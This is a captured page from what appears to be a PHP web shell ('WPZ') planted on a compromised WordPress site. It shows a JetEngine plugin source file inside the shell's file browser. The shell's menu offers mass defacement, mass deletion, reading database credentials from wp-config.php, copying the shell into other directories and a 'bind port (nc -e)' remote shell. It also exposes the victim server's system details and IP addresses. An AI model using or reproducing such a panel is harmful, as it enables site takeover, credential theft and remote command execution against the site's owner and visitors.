WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / includes / core / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/core/components-manager.php (5.51 KB)
<?php
/**
 * Components manager
 */

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

if ( ! class_exists( 'Jet_Engine_Components' ) ) {

	/**
	 * Define Jet_Engine_Components class
	 */
	class Jet_Engine_Components {

		private $_components = [];

		/**
		 * Run component registartion
		 */
		public function __construct() {
			add_action( 'init', array( $this, 'register_components' ), -2 );
			add_action( 'init', array( $this, 'init_components' ), -1 );
		}

		/**
		 * Register components before run init to allow unregister before init
		 *
		 * @return void
		 */
		public function register_components() {

			$default_components = array(
				'listings' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/listings/manager.php' ),
					'class_name' => 'Jet_Engine_Listings',
				),
				'cpt' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/post-types/manager.php' ),
					'class_name' => 'Jet_Engine_CPT',
					'base'       => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'meta_boxes' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/meta-boxes/manager.php' ),
					'class_name' => 'Jet_Engine_Meta_Boxes',
					'base'       => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'taxonomies' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/taxonomies/manager.php' ),
					'class_name' => 'Jet_Engine_CPT_Tax',
					'base'       => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'relations' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/relations/manager.php' ),
					'class_name' => '\Jet_Engine\Relations\Manager',
					'base'       => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'options_pages' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/options-pages/manager.php' ),
					'class_name' => 'Jet_Engine_Options_Pages',
					'base'       => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'glossaries' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/glossaries/manager.php' ),
					'class_name' => '\Jet_Engine\Glossaries\Manager',
				),
				'query_builder' => array(
					'filepath' => jet_engine()->plugin_path( 'includes/components/query-builder/manager.php' ),
					'base'     => array(
						'file'  => 'base-wp-instance',
						'class' => 'Jet_Engine_Base_WP_Intance',
					),
				),
				'elementor_views' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/elementor-views/manager.php' ),
					'class_name' => 'Jet_Engine_Elementor_Views',
				),
				'blocks_views' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/blocks-views/manager.php' ),
					'class_name' => 'Jet_Engine_Blocks_Views',
				),
				'bricks_views' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/bricks-views/manager.php' ),
					'class_name' => '\Jet_Engine\Bricks_Views\Manager',
				),
				'timber_views' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/timber-views/timber.php' ),
					'class_name' => '\Jet_Engine\Timber_Views\Package',
					'singleton'  => true,
				),
				'website_builder' => array(
					'filepath'   => jet_engine()->plugin_path( 'includes/components/website-builder/manager.php' ),
					'class_name' => '\Jet_Engine\Website_Builder\Manager',
					'singleton'  => true,
				),
			);

			foreach ( $default_components as $component_slug => $component_data ) {
				$this->register_component( $component_slug, $component_data );
			}

			do_action( 'jet-engine/components/registered', $this );

		}

		/**
		 * Check if passed component is active
		 *
		 * @param  string  $slug [description]
		 * @return boolean       [description]
		 */
		public function is_component_active( $slug = '' ) {

			if ( ! $slug ) {
				return false;
			} else {
				return null !== jet_engine()->$slug;
			}

		}

		/**
		 * Initialize main components
		 *
		 * @return [type] [description]
		 */
		public function init_components() {

			foreach ( $this->_components as $slug => $data ) {

				if ( ( empty( $data['class_name'] ) || ! class_exists( $data['class_name'] ) ) && file_exists( $data['filepath'] ) ) {

					$class_name = ! empty( $data['class_name'] ) ? $data['class_name'] : false;

					if ( ! empty( $data['base'] ) && ! class_exists( $data['base']['class'] ) ) {
						require_once jet_engine()->plugin_path( 'includes/base/' . $data['base']['file'] . '.php' );
					}

					require_once $data['filepath'];

					if ( $class_name && empty( $data['singleton'] ) ) {
						jet_engine()->$slug = new $class_name();
					}

				}
			}

			do_action( 'jet-engine/components/init', $this, jet_engine() );

		}

		/**
		 * Register JetEngine component
		 *
		 * @param  string $slug Component slug
		 * @param  array  $data Component data
		 * @return void
		 */
		public function register_component( $slug = '', $data = array() ) {
			$this->_components[ $slug ] = $data;
		}

		/**
		 * Unregister JetEngine component
		 *
		 * @param  string $slug Component slug
		 * @return void
		 */
		public function deregister_component( $slug = '' ) {

			if ( isset( $this->_components[ $slug ] ) ) {
				unset( $this->_components[ $slug ] );
			}

		}

	}

}
namawaktuukuranownerpermaksi
..
mcp-tools/ 2026-07-21 14:1581.46 KB 76129f60960:kundendxwrx-r--r
accessibility.php 2026-07-21 14:15724 B 76129f60960:kunden-xw-x-----
edt
ai-handler.php 2026-07-21 14:154.38 KB 76129f60960:kunden-xw-x-----
edt
components-manager.php 2026-07-21 14:155.51 KB 76129f60960:kunden-xw-x-----
edt
db.php 2026-07-21 14:158.39 KB 76129f60960:kunden-xw-x-----
edt
dynamic-functions.php 2026-07-21 14:1528.97 KB 76129f60960:kunden-xw-x-----
edt
functions.php 2026-07-21 14:1531.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/core
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK